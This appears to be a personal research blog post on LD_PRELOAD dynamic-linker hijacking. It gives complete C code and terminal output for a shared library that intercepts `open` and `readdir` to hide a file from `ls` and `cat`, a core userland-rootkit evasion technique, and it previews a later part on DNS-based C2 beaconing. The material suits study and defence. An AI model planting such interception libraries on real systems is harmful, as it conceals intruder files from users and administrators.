Dynamic Linker Hijacking Experiments - Evasive Techniques (Part 2) - 21/08/2023
Research
Journey Post
This post is a something that I call “journey post”, this follows my process of researching and implementing the solution for the problem (or the challenge). I will wrap/pre-fix parts of the post with html-like <journey>
so that you can skip it if you are in a hurry.
Overview
In the last post I’ve described how I hid a file from all the sys calls that are using readdir
. In this post I will try to hide it from the cat
command. Let’s first examine/reverse engineer how the cat
command works internally.
Naturally I would start with a simple strace which will trace the system calls and signals that the command uses.
$ which cat
/usr/bin/cat
$ strace /usr/bin/cat syl.lys
execve("/usr/bin/cat", ["/usr/bin/cat", "syl.lys"], 0x7ffca9c17508 /* 68 vars */) = 0
...
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) // WINK WINK, not yet
...
openat(AT_FDCWD, "syl.lys", O_RDONLY) = 3
The most interesting sys call in the output is openat
so lets see the source code of openat.c. Here we can see the char const *file
that variable is what holds our filename (look at the strace
output). After that, I followed our steps in the last post by implementing a function with the same signature and wrapping the original one.
<journey>
After a few tries I was quick to realize that there is some issue. The wrapper that I’ve implemented didn’t work, or at least didn’t work all the time. I’ve tested it out with a simple program that would just call it and in there it worked, I didn’t quite get why it does what it does but I found the following discussions:
- intercepting the openat() system call for GNU tar
- How to find out what functions to intercept with LD_PRELOAD?
As it turns out (my best guess) the sys call that I am trying to override openat
is probably not the one that the cat
uses. I decided to look at the source code for [cat.c][https://github.com/coreutils/coreutils/blob/master/src/cat.c] and search for everything that has *open*
in it.
I found on line 686 a call to the open
. An important note here is that this open
call here is not the sys call but the call in the std lib which will call the related system call for us. So I’ve decided to change my approach and override the open
function instead.
</journey>
How does the open function work? I wouldn’t try to explain something that I am hardly good at so it is best for you to read the man pages for that one.
Let’s start by copying the signature of the open function and wrap it.
static int (*original_open)(const char *filename, int flags, ...) = NULL;
int open (const char *filename, int flags, ...)
{
original_open = dlsym(RTLD_NEXT, "open");
return original_open(filename, flags);
}
In this code block I’ve wrapped the original open
function with our implementation of the open
function. What is left now is to add our “malicious” part to it.
if (strcmp(filename, MALICIOUS_FILE) == 0)
{
errno = ENOENT; // Setting up the error to be ERROR NO ENTRY(ENOENT)
return -1; // Returning -1 (failure)
}
And lastly all together
#define _GNU_SOURCE
#include <fcntl.h>
#include <dlfcn.h>
#include <string.h>
#include <stdio.h>
#include <errno.h>
#define MALICIOUS_FILE "syl.lys"
static int (*original_open)(const char *filename, int flags, ...) = NULL;
int open (const char *filename, int flags, ...)
{
if (strcmp(filename, MALICIOUS_FILE) == 0)
{
errno = ENOENT;
return -1;
}
original_open = dlsym(RTLD_NEXT, "open");
return original_open(filename, flags);
}
Let’s see if its working…
$ ls
intercept_open.so syl.lys
$ LD_PRELOAD=./intercept_open.so cat syl.lys
cat: syl.lys: No such file or directory
As you can see the cat
command returns No such file or directory
which is exactly what we are aiming for.
Combining it with our readdir
We created a malicious open
function that wraps the original one from the standard lib, lets now combine it with the readdir
from the previous post into a single shared object.
#define _GNU_SOURCE
#include <fcntl.h>
#include <dlfcn.h>
#include <string.h>
#include <stdio.h>
#include <errno.h>
#include <dirent.h>
#define MALICIOUS_FILE "syl.lys"
static int (*original_open)(const char *filename, int flags, ...) = NULL;
struct dirent *(*original_readdir)(DIR *dirp) = NULL;
int open (const char *filename, int flags, ...)
{
if (strcmp(filename, MALICIOUS_FILE) == 0)
{
errno = ENOENT;
return -1;
}
original_open = dlsym(RTLD_NEXT, "open");
return original_open(filename, flags);
}
struct dirent *readdir(DIR *dirp)
{
struct dirent *ret;
original_readdir = dlsym(RTLD_NEXT, "readdir");
while((ret = original_readdir(dirp))) {
if(strstr(ret->d_name, MALICIOUS_FILE) == 0)
break;
}
return ret;
}
Let’s test it out, supposedly we shouldn’t get entries from ls
and cat
.
$ touch syl.lys
$ ls
intercept_open.c malicious.c malicious.so syl.lys
$ export LD_PRELOAD=./malicious.so
$ ls
intercept_open.c malicious.c malicious.so README.md
$ cat syl.lys
cat: syl.lys: No such file or directory
End
With that I am concluding this post, again if you reached here thank you so much it means a lot! In the next part I will get deeper and make our malicious file to be running and beaconing a malicious C2 server, we will look through some C2 communication examples using the DNS protocol so that we can remain under the radar(or the firewall ^^).
Resources
This post wouldn’t be possible without:
- https://0xax.gitbooks.io/linux-insides/content/SysCall/linux-syscall-5.html
- https://linux.die.net/man/2/openat
- And some kind StackOverflow users!